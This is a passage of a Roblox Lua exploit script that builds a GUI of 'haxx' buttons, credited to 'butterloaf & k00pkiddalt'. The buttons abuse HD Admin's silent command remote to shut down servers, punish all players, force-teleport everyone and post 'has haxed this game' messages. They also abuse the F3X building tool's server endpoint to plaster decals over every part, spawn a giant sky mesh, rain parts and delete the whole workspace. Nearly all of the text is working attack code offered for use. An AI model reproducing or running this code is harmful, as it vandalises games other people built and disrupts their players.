AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("106517933385903")
end)
ImageLabel_2.Parent = TextLabel_4
ImageLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageLabel_2.BackgroundTransparency = 1.000
ImageLabel_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageLabel_2.BorderSizePixel = 0
ImageLabel_2.Position = UDim2.new(0.388235301, 0, 25.1428566, 0)
ImageLabel_2.Size = UDim2.new(0, 100, 0, 100)
ImageLabel_2.Image = "http://www.roblox.com/asset/?id=123724497894158"
shut.Name = "shut"
shut.Parent = TextLabel_4
shut.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
shut.BorderColor3 = Color3.fromRGB(0, 53, 11)
shut.Position = UDim2.new(0.75, 0, -52.4290009, 0)
shut.Size = UDim2.new(0, 53, 0, 24)
shut.Font = Enum.Font.SourceSans
shut.Text = "Shutdown"
shut.TextColor3 = Color3.fromRGB(255, 255, 255)
shut.TextScaled = true
shut.TextSize = 14.000
shut.TextWrapped = true
shut.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";shutdown")
end)
musicbypas10.Name = "music bypas 10"
musicbypas10.Parent = TextLabel_4
musicbypas10.Active = false
musicbypas10.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
musicbypas10.BorderColor3 = Color3.fromRGB(0, 53, 11)
musicbypas10.Position = UDim2.new(-0.25311783, 0, -22.7857151, 400)
musicbypas10.Size = UDim2.new(0, 99, 0, 39)
musicbypas10.Font = Enum.Font.SourceSans
musicbypas10.Text = "real g00byyyy!!! theme"
musicbypas10.TextColor3 = Color3.fromRGB(255, 255, 255)
musicbypas10.TextScaled = true
musicbypas10.TextSize = 14.000
musicbypas10.TextWrapped = true
musicbypas10.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 1847661821")
end)
musicbypas9.Name = "music bypas 9"
musicbypas9.Parent = TextLabel_4
musicbypas9.Active = false
musicbypas9.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
musicbypas9.BorderColor3 = Color3.fromRGB(0, 53, 11)
musicbypas9.Position = UDim2.new(0.38188225, 0, -22.7857151, 350)
musicbypas9.Size = UDim2.new(0, 99, 0, 39)
musicbypas9.Font = Enum.Font.SourceSans
musicbypas9.Text = "DELETED"
musicbypas9.TextColor3 = Color3.fromRGB(255, 255, 255)
musicbypas9.TextScaled = true
musicbypas9.TextSize = 14.000
musicbypas9.TextWrapped = true
musicbypas8.Name = "music bypas 8"
musicbypas8.Parent = TextLabel_4
musicbypas8.Active = false
musicbypas8.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
musicbypas8.BorderColor3 = Color3.fromRGB(0, 53, 11)
musicbypas8.Position = UDim2.new(-0.25311783, 0, -22.7857151, 350)
musicbypas8.Size = UDim2.new(0, 99, 0, 39)
musicbypas8.Font = Enum.Font.SourceSans
musicbypas8.Text = "monster mash!!1"
musicbypas8.TextColor3 = Color3.fromRGB(255, 255, 255)
musicbypas8.TextScaled = true
musicbypas8.TextSize = 14.000
musicbypas8.TextWrapped = true
musicbypas8.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 35930009")
end)
musicbypas7.Name = "music bypas 7"
musicbypas7.Parent = TextLabel_4
musicbypas7.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
musicbypas7.BorderColor3 = Color3.fromRGB(0, 53, 11)
musicbypas7.Position = UDim2.new(-0.870117545, 0, -22.7857151, 350)
musicbypas7.Size = UDim2.new(0, 99, 0, 39)
musicbypas7.Font = Enum.Font.SourceSans
musicbypas7.Text = "gangsta's paradise remix funny"
musicbypas7.TextColor3 = Color3.fromRGB(255, 255, 255)
musicbypas7.TextScaled = true
musicbypas7.TextSize = 14.000
musicbypas7.TextWrapped = true
musicbypas7.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 5228173823")
end)
decal.Name = "decal"
decal.Parent = TextLabel_4
decal.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
decal.BorderColor3 = Color3.fromRGB(0, 53, 11)
decal.Position = UDim2.new(-0.864705801, 0, -46.5, 0)
decal.Size = UDim2.new(0, 99, 0, 39)
decal.Font = Enum.Font.SourceSans
decal.Text = "Decal"
decal.TextColor3 = Color3.fromRGB(255, 255, 255)
decal.TextScaled = true
decal.TextSize = 14.000
decal.TextWrapped = true
decal.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("9422866248")
end)
gametp.Name = "gametp"
gametp.Parent = TextLabel_4
gametp.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
gametp.BorderColor3 = Color3.fromRGB(0, 53, 11)
gametp.Position = UDim2.new(-0.0117647061, -39, -16.0714283, 0)
gametp.Size = UDim2.new(0, 204, 0, 39)
gametp.Font = Enum.Font.SourceSans
gametp.Text = "Game TP [Only WORKS IF OWNER ADMIN]"
gametp.TextColor3 = Color3.fromRGB(255, 255, 255)
gametp.TextScaled = true
gametp.TextSize = 14.000
gametp.TextWrapped = true
gametp.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";globalforceplace 16346930062")
end)
disco.Name = "disco"
disco.Parent = TextLabel_4
disco.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
disco.BorderColor3 = Color3.fromRGB(0, 53, 11)
disco.Position = UDim2.new(0.394117653, 0, -43, 0)
disco.Size = UDim2.new(0, 99, 0, 39)
disco.Font = Enum.Font.SourceSans
disco.Text = "disco"
disco.TextColor3 = Color3.fromRGB(255, 255, 255)
disco.TextScaled = true
disco.TextSize = 14.000
disco.TextWrapped = true
disco.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";disco")
RequestCommand:InvokeServer(";fog 7000 7000")
end)
ball.Name = "ball"
ball.Parent = TextLabel_4
ball.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
ball.BorderColor3 = Color3.fromRGB(0, 53, 11)
ball.Position = UDim2.new(0.393647134, 0, -19.514286, 0)
ball.Size = UDim2.new(0, 99, 0, 39)
ball.Font = Enum.Font.SourceSans
ball.Text = "Part Rain [Taken from LNicky]"
ball.TextColor3 = Color3.fromRGB(255, 255, 255)
ball.TextScaled = true
ball.TextSize = 14.000
ball.TextWrapped = true
ball.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function Sky(id)
local hrp = char:WaitForChild("HumanoidRootPart")
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
SetAnchor(true, v)
AddMesh(v)
SetMesh(v, "14832966960")
SetTexture(v, id)
MeshResize(v, Vector3.new(0, 0, 0))
end
end
end
local function createRainToads()
while true do
wait(0.01) -- Here they change the appearance time of the Toads or other meshes
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-400, 400)
local randint2 = math.random(-400, 400)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
for i, v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v, "Part") -- Here the name of the toad changes
SetAnchor(false, v)
SetCollision(v, true)
v.Orientation = Vector3.new(0, 0, 0)
v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
local sound = Instance.new("Sound", v)
sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
sound.Volume = 0
sound.PlayOnRemove = true
sound:Destroy()
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(createRainToads)()
Sky("0")
end)
spin.Name = "spin"
spin.Parent = TextLabel_4
spin.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
spin.BorderColor3 = Color3.fromRGB(0, 53, 11)
spin.Position = UDim2.new(-0.86517638, 0, -17.9285717, 26)
spin.Size = UDim2.new(0, 99, 0, 39)
spin.Font = Enum.Font.SourceSans
spin.Text = "Spin all"
spin.TextColor3 = Color3.fromRGB(255, 255, 255)
spin.TextScaled = true
spin.TextSize = 14.000
spin.TextWrapped = true
spin.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";Spin all")
end)
music.Name = "music"
music.Parent = TextLabel_4
music.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
music.BorderColor3 = Color3.fromRGB(0, 53, 11)
music.Position = UDim2.new(-0.870235324, 0, -22.6428566, 250)
music.Size = UDim2.new(0, 99, 0, 39)
music.Font = Enum.Font.SourceSans
music.Text = "Crab Rave (funni)"
music.TextColor3 = Color3.fromRGB(255, 255, 255)
music.TextScaled = true
music.TextSize = 14.000
music.TextWrapped = true
music.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 5410086218")
end)
musicbypas.Name = "music bypas"
musicbypas.Parent = TextLabel_4
musicbypas.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
musicbypas.BorderColor3 = Color3.fromRGB(0, 53, 11)
musicbypas.Position = UDim2.new(-0.229588404, 0, -22.6428566, 250)
musicbypas.Size = UDim2.new(0, 99, 0, 39)
musicbypas.Font = Enum.Font.SourceSans
musicbypas.Text = "short phonk"
musicbypas.TextColor3 = Color3.fromRGB(255, 255, 255)
musicbypas.TextScaled = true
musicbypas.TextSize = 14.000
musicbypas.TextWrapped = true
musicbypas.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 5356466111")
end)
TextLabel_5.Parent = TextLabel_4
TextLabel_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_5.BackgroundTransparency = 1.000
TextLabel_5.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_5.Position = UDim2.new(-0.974705935, 0, 29.6428566, 0)
TextLabel_5.Size = UDim2.new(0, 85, 0, 27)
TextLabel_5.Font = Enum.Font.Arial
TextLabel_5.Text = "by butterloaf & k00pkiddalt"
TextLabel_5.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_5.TextSize = 10.000
TextLabel_5.TextWrapped = true
musicbypas3.Name = "music bypas 3"
musicbypas3.Parent = TextLabel_4
musicbypas3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
musicbypas3.BorderColor3 = Color3.fromRGB(0, 53, 11)
musicbypas3.Position = UDim2.new(-0.870117545, 0, -22.7857151, 300)
musicbypas3.Size = UDim2.new(0, 99, 0, 39)
musicbypas3.Font = Enum.Font.SourceSans
musicbypas3.Text = "you are now entering the world of k00pkidd"
musicbypas3.TextColor3 = Color3.fromRGB(255, 255, 255)
musicbypas3.TextScaled = true
musicbypas3.TextSize = 14.000
musicbypas3.TextWrapped = true
musicbypas3.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 8894394467")
end)
musicbypas4.Name = "music bypas 4"
musicbypas4.Parent = TextLabel_4
musicbypas4.Active = false
musicbypas4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
musicbypas4.BorderColor3 = Color3.fromRGB(0, 53, 11)
musicbypas4.Position = UDim2.new(-0.25311783, 0, -22.7857151, 300)
musicbypas4.Size = UDim2.new(0, 99, 0, 39)
musicbypas4.Font = Enum.Font.SourceSans
musicbypas4.Text = "DELETED"
musicbypas4.TextColor3 = Color3.fromRGB(255, 255, 255)
musicbypas4.TextScaled = true
musicbypas4.TextSize = 14.000
musicbypas4.TextWrapped = true
musicbypas5.Name = "music bypas 5"
musicbypas5.Parent = TextLabel_4
musicbypas5.Active = false
musicbypas5.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
musicbypas5.BorderColor3 = Color3.fromRGB(0, 53, 11)
musicbypas5.Position = UDim2.new(0.38188225, 0, -22.7857151, 300)
musicbypas5.Size = UDim2.new(0, 105, 0, 39)
musicbypas5.Font = Enum.Font.SourceSans
musicbypas5.Text = "jazz song"
musicbypas5.TextColor3 = Color3.fromRGB(255, 255, 255)
musicbypas5.TextScaled = true
musicbypas5.TextSize = 14.000
musicbypas5.TextWrapped = true
musicbypas5.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 1837066593")
end)
message.Name = "message"
message.Parent = TextLabel_4
message.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
message.BorderColor3 = Color3.fromRGB(0, 53, 11)
message.Position = UDim2.new(0.394117653, 0, -32.7142868, 0)
message.Size = UDim2.new(0, 98, 0, 39)
message.Font = Enum.Font.SourceSans
message.Text = "Message"
message.TextColor3 = Color3.fromRGB(255, 255, 255)
message.TextScaled = true
message.TextSize = 14.000
message.TextWrapped = true
message.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";serverMessage Team k00pkidd has haxed this game!!!")
end)
stop.Name = "stop"
stop.Parent = TextLabel_4
stop.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
stop.BorderColor3 = Color3.fromRGB(0, 53, 11)
stop.Position = UDim2.new(-0.869117618, 0, -9.28571415, 0)
stop.Size = UDim2.new(0, 79, 0, 29)
stop.Font = Enum.Font.SourceSans
stop.Text = "Stop Songs"
stop.TextColor3 = Color3.fromRGB(255, 255, 255)
stop.TextScaled = true
stop.TextSize = 14.000
stop.TextWrapped = true
stop.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";Music")
end)
k00pk00p.Name = "k00pk00p"
k00pk00p.Parent = TextLabel_4
k00pk00p.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
k00pk00p.BorderColor3 = Color3.fromRGB(0, 53, 11)
k00pk00p.Position = UDim2.new(-0.864705801, 0, -22.9285736, 0)
k00pk00p.Size = UDim2.new(0, 99, 0, 39)
k00pk00p.Font = Enum.Font.SourceSans
k00pk00p.Text = "dummy"
k00pk00p.TextColor3 = Color3.fromRGB(255, 255, 255)
k00pk00p.TextScaled = true
k00pk00p.TextSize = 14.000
k00pk00p.TextWrapped = true
k00pk00p.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";Clone")
end)
musicbypas6.Name = "music bypas 6"
musicbypas6.Parent = TextLabel_4
musicbypas6.Active = false
musicbypas6.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
musicbypas6.BorderColor3 = Color3.fromRGB(0, 53, 11)
musicbypas6.Position = UDim2.new(-0.241176203, 0, -36.1428566, 0)
musicbypas6.Size = UDim2.new(0, 97, 0, 39)
musicbypas6.Font = Enum.Font.SourceSans
musicbypas6.Text = "Brooklyn Blood Pop Song (MAYBE DELETED)"
musicbypas6.TextColor3 = Color3.fromRGB(255, 255, 255)
musicbypas6.TextScaled = true
musicbypas6.TextSize = 14.000
musicbypas6.TextWrapped = true
kaax.Name = "kaax"
kaax.Parent = TextLabel_4
kaax.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
kaax.BorderColor3 = Color3.fromRGB(0, 53, 11)
kaax.Position = UDim2.new(-0.241176024, 0, -39.5714302, 0)
kaax.Size = UDim2.new(0, 98, 0, 39)
kaax.Font = Enum.Font.SourceSans
kaax.Text = "Kaax Script"
kaax.TextColor3 = Color3.fromRGB(255, 255, 255)
kaax.TextScaled = true
kaax.TextSize = 14.000
kaax.TextWrapped = true
kaax.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7000, 7000, 7000))
SetLocked(v,true)
end
end
end
Sky("12330950245")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";sm Game Haxxored By KaaXSploits! [Remake by kOOpkidd]")
end)
gravityhammer.Name = "gravity hammer"
gravityhammer.Parent = TextLabel_4
gravityhammer.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
gravityhammer.BorderColor3 = Color3.fromRGB(0, 53, 11)
gravityhammer.Position = UDim2.new(0.382353127, 0, -29.3571453, 0)
gravityhammer.Size = UDim2.new(0, 99, 0, 39)
gravityhammer.Font = Enum.Font.SourceSans
gravityhammer.Text = "Gravity Hammer"
gravityhammer.TextColor3 = Color3.fromRGB(255, 255, 255)
gravityhammer.TextScaled = true
gravityhammer.TextSize = 14.000
gravityhammer.TextWrapped = true
gravityhammer.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";gear me 33866846")
end)
Destroy.Name = "Destroy."
Destroy.Parent = TextLabel_4
Destroy.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Destroy.BorderColor3 = Color3.fromRGB(0, 53, 11)
Destroy.Position = UDim2.new(-0.864705622, 0, -26, 0)
Destroy.Size = UDim2.new(0, 310, 0, 35)
Destroy.Font = Enum.Font.SourceSans
Destroy.Text = "Destroy. [ONLY FOR EMERGENCY]"
Destroy.TextColor3 = Color3.fromRGB(255, 255, 255)
Destroy.TextScaled = true
Destroy.TextSize = 14.000
Destroy.TextWrapped = true
Destroy.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";btools me")
wait(0.4)
RequestCommand:InvokeServer(";punish all")
wait(0.1)
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function deleteall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
delete(v)
end)
end
end
end
deleteall()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
